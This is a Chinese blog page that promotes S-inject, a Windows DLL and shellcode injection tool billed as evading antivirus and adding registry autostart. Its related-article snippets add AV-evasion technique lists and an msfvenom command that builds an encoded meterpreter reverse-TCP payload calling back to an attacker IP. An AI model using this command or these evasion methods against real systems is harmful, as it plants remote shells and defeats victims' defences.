DLL+Shellcode的Windows注入免杀工具

最新推荐文章于 2024-07-11 21:47:44 发布
最新推荐文章于 2024-07-11 21:47:44 发布
阅读量434 收藏 7
点赞数 3
文章标签： windows 免杀 免杀工具
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Fly_hps/article/details/139141220
版权

项目介绍

S-inject是一款支持x86/x64的DLL和Shellcode 的Windows注入的免杀工具，支持图形化界

免杀效果

远程shellcode注入等功能可免杀火绒，VNC无感，可注册表添加开机自启动

支持功能

DLL注入

  • 远程线程注入

  • 反射式注入

  • APC调度注入

Shellcode注入

  • 远程线程注入

  • APC调度注入

  • Context上下文注入

使用时直接勾选对应功能，选择DLL/Shellcode，和对应进程的PID

最后点击start开始注入

免责声明


本工具仅供教育和授权测试目的使用。开发者及贡献者不支持、不鼓励也不赞成任何非法或未经授权的使用。 用户有责任确保其使用本工具的行为符合所有适用的法律法规。严禁将本工具用于任何未经授权的活动。 开发者及贡献者对使用本工具造成的任何损害或后果不承担责任。使用前请自行承担风险。 通过使用本工具，您同意这些条款，并对您的行为承担全部责任

下载地址

点击下方名片进入公众号

回复关键字【240523】获取下载链接

FLy_鹏程万里
关注
  • 3
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
MakeCode:DLL转换为Shellcode
05-19
总的来说，MakeCode是一个用于将DLL转换为Shellcode的工具，它涉及到了二进制代码解析、内存操作和安全攻防等多个IT领域的核心知识点，对于熟悉这些领域的专业人士来说，它提供了宝贵的实践和学习机会。
常见的几种免杀方法
路虽远，行将至。事虽难，做必达。
03-05 6499
攻击机kali：192.168.1.11 靶机Windows7:192.168.1.18 1、自编码免杀 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.11 lport=4444 -e x86/shikata_ga_nai -i 15 -f exe -o shell.exe 开启本地监听并在靶机运行木马，shell反弹成功，木马程序正常使用 微步沙箱检测结果，检出率近一半，效果一般 ​​​ ...
免杀后门(四)之shellter注入绕过
weixin_30251829的博客
10-15 308
文中提及的部分技术可能带有一定攻击性，仅供安全学习和教学用途，禁止非法使用 Shellter 是一款动态 shellcode 注入工具。利用它，我们可以将shell注入到其他的可执行程序上，从而躲避安全工具的检查。下面我们来看看,如何使用该工具。 首先我们先来进行安装： apt-get install shellter 安装过程非常简单，在正式使用前我们先拷贝一个二进制文件到...
免杀技术有一套（免杀方法大集结）
hackzkaq的博客
05-23 7200
零基础学黑客，搜索公众号：白帽子左一 00. 概述 什么是免杀？来自百科的注解： 免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写Virus AV），逐字翻译为“反-反病毒”，翻译为“反杀毒技术”。 有本比较有名的书，想详细学习的同学可以去看看。《黑客免杀攻防》 其实我大概好像只看过目录…( ╯□╰ ) 下面我介绍的是自己实践的一些方法，有没有效果，试试就知道了。 01. 简介 免杀大概可以分为两种情况： 二进制的免杀（无源
免杀新姿势：利用线程将恶意代码注入到内存中
weixin_33754913的博客
09-18 601
本文讲的是免杀新姿势：利用线程将恶意代码注入到内存中， 产生存放远程攻击线程的进程 在这篇文章中我不想一步一步解释我编写的C#代码，但是我会展示下它能够绕过杀毒软件，并且操作非常简单，而且实用。 首先说明一下： 1.我是在三年前发现这个攻击方法的，当我在做免杀的时候我发现了很多都是以0x0地址开始的进程。在我的win7系统中这种恶意代码绕过了我的杀毒...
shellter免杀技术实战
热门推荐
自学编程_youkewang.top
03-25 1万+
Shellter是一个开源的免杀工具，利用动态Shellcode注入来实现免杀的效果，想了解更多可以参考shellter官网：https://www.shellterproject.com/   实验环境：kali  shellter_v6.9  360  putty.exe   图1-1.   Part1：首先使用unzip解压shellter_v6.9到当前目录，然后进入shell
shellcode-to-dll:shellcode 异或加密并生成dll
04-23
在网络安全和逆向工程领域，shellcode是攻击者常用的工具，用于绕过安全防护措施。 在“shellcode-to-dll”项目中，我们看到的是将shellcode进行异或加密，并将其封装到动态链接库（DLL）文件中的过程。这一方法的...
使用shellcode动态加载dll-易语言
06-11
在Windows系统中，shellcode常常被用来创建一个新的进程或者在现有进程中注入代码，比如动态加载一个DLL。在易语言中，实现shellcode的方式可能需要利用API调用，因为易语言自身并不直接支持原生的shellcode编写。 ...
实现DLL的注入与卸载
05-07
在提供的压缩包文件中，可能包含了实现DLL注入与卸载的相关源码和工具，这些资源可以帮助我们理解上述原理，并实际操作实现DLL的注入和卸载过程。通过学习和研究这些源码，开发者可以深入理解Windows系统内部的工作...
DLL-Inj3cti0n:另一个dll注入工具
06-29
另一个dll注入工具。 概述 这个工具是DLL的不同注入/执行的实现。 适用于： 方法 视窗 XP Windows 7 32 位 Windows 7 64 位 创建远程线程 + + —— 注入shellcode + + —— 队列用户APC() + + —— ...
Python中的null是什么？
最新发布
分享Python、数据分析、人工智能前沿知识
07-11 306
null正确的发音是/n^l/，有点类似四声‘纳儿’，在计算机中null是一种类型，代表空字符，没有与任何一个值绑定并且存储空间也没有存储值。检查 None 的唯一性，它返回某一对象的唯一标识符，如果两个变量的 id 相同，那么它们实际上指向的是同一个对象。Python中其实没有null这个词，取而代之的是None对象，即特殊类型NoneType，代表空、没有。在Python中，None的用处有很多，比如作为变量初始值、作为函数默认参数、作为空值等等。总得来说，None是一个对象，而null是一个类型。
hutool ExcelUtil 导出导入excel
juziaixiao的博客
07-09 545
【代码】hutool ExcelUtil 导出导入excel。
Java泛型的定义与运用
weixin_45797022的博客
07-09 863
public class 类名<E>{ }//定义一个数组,充当ArrayList底层的数组,长度直接规定为10int size;public boolean add(E e){ //定义一个add方法,参数类型需要和泛型类型保持一致size++;@Overridelist1.add("张三");list1.add("李四");//直接输出对象名,默认调用toString。
探索Conda世界：使用conda list命令的全面指南
2401_85702623的博客
07-09 705
命令是Conda中一个非常有用的工具，它允许用户列出当前环境中安装的所有包，并提供了多种选项来定制输出。命令是Conda工具集中的一个关键命令，它允许用户列出当前环境中安装的所有包及其版本。Conda是一个流行的包管理器和环境管理器，广泛用于Python和其他科学计算语言的依赖管理。命令的方法，希望能帮助您更有效地管理Conda环境和依赖。命令的不断探索，您将发现更多提高开发效率和项目质量的方法。命令，包括命令的使用方式、选项和实际应用。命令可以列出当前环境中所有已安装的包。命令来管理您的Conda环境。
ArrayList集合
weixin_53263488的博客
07-06 567
需求：现在假如购物车中存储了如下这些商品：Java入门,宁夏枸杞，黑枸杞，人字拖，特级枸杞，枸杞子。现在用户不想买枸杞了，选择了批量删除，请完成该需求。
分享一个 EF6 分页查询数据的 IQueryable 扩展方法
yangshuquan的专栏
07-09 377
本文利用 IQueryable 不会立即执行的特点，扩展了 IQueryable 的方法，将具体业务数据查询跟分页展示数据解耦，有一定的适用性，可以将代码直接拷贝到项目中使用。
智能警卫：Conda包依赖的自动监控之道
2401_85762266的博客
07-09 545
Conda作为Python和其他科学计算语言的强大包管理器，提供了依赖监控功能，帮助用户自动化和简化依赖项的监控过程。本文将深入探讨如何在Conda中使用包依赖自动监控，包括监控策略、实现方法和实际代码示例。通过在Conda中使用包依赖自动监控，您可以确保依赖项的安全性、兼容性和性能。本文详细介绍了配置Conda监控设置、使用Conda命令监控依赖、编写监控脚本、设置定时任务、集成第三方监控工具和自动化警报的步骤。本文详细介绍了在Conda中使用包依赖自动监控的方法，希望能为您的项目依赖管理提供帮助。
力扣 设计链表707
weixin_43261508的博客
07-09 201
如果要在index = 3前面添加元素，则newnode->next = cur->next cur->next = newnode,顺序不可变。注意索引index ,获取index下标值时，非法判断 index >size-1。注意private定义时，定义ListNode *dummyHead。如果在链表末尾添加元素，cur->next = newnode。当到达边界时，cur从零开始，index = 0，cur=2。注意删除时，操作完毕后再delete tmp。循环结束，cur指向链表的末尾，
shellcode 免杀
05-29
Shellcode 免杀技术是指通过对 Shellcode 代码进行加密、混淆、变形等手段，使其在被杀毒软件或安全设备检测时无法被识别，从而达到免杀的目的。 以下是一些常见的 Shellcode 免杀技术： 1. 加密：将 Shellcode 代码进行加密，使其在内存中存储时无法被检测到。 2. 随机变形：通过修改 Shellcode 代码中的一些关键字、函数名等来使其难以被检测到。 3. 延时加载：将 Shellcode 代码分为多个部分，只有在特定条件下才会加载，从而避免被杀毒软件或安全设备检测到。 4. 模块化：将 Shellcode 代码拆分为多个模块，每个模块都可以独立执行，从而难以被检测到。 5. 零宽度字符：利用 Unicode 中的零宽度字符来隐藏 Shellcode 代码，使其在被杀毒软件或安全设备检测时无法被识别。 需要注意的是，Shellcode 免杀技术只是提高了 Shellcode 的免杀能力，但并不能完全避免被检测到。因此，在实际应用中，还需要结合其他防御措施来确保系统的安全性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值